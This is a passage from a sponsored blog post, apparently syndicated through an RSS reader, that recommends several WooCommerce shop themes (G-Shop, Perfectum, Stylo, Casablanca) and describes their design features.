You may also want to consider using G-Shop. The first thing that sparked my interest concerning this specific theme was the fact that it has unlimited awesome presets with fabulous color combinations. The second thing was the wealthy documentation, which doesn’t leave any room for confusion. Additionally, G-Shop is said to load fast, and to be cross-browser compatible.  

Perfectum

Perfectum does not fall short of its name. It’s rooted in the most recent HTML5 and CSS 3 developments, and is also available for platforms like Magento and OpenCart. However, what I like best about this theme is the fact that it’s 100% responsive, offers unlimited theme skins, and more than 200 patterns of colors to customize it however you can think of. 

Stylo

StyloTheme is just right for jewelry or accessories. It creates a fancy, but straightforward visual context for online customers to shop in. It’s responsive, looks great on retina display devices, has unlimited color schemes, and is localization-ready with Google Maps integration. What’s more, you can use the shortcode generator for any use. 

Casablanca

I wouldn’t dream of ending my list without mentioning Casablanca, a wonderful and up-to-date WooCommerce theme. All in all, it comes across as full of grace and elegance, so you can use it to build shops that target the female population (clothing store, accessories, and cosmetics). And, bear in mind that Casablanca has a lovely full-width video option that adds intensity to product showcasing. 

Conclusion

The above-mentioned items are, to my knowledge, the very best choices a graphic/web designer could possibly make today. However, please be noted that this is a subjective study, and I’m fully aware that there are many other excellent options out there. The good news is that there is plenty of work to be done, so you will get the chance to try many of these themes for good measure.

Read the full article at: Building an Online Shop for Your Client? Use One of These WooCommerce Themes (Sponsored)

Treehouse
Wufoo

Author: "Kate Dagli" Tags: "Sponsored"
Comments Send by mail Print  Save  Delicious 
Next page
» You can also retrieve older items : Read
» © All content and copyrights belong to their respective authors.«
» © FeedShow - Online RSS Feeds Reader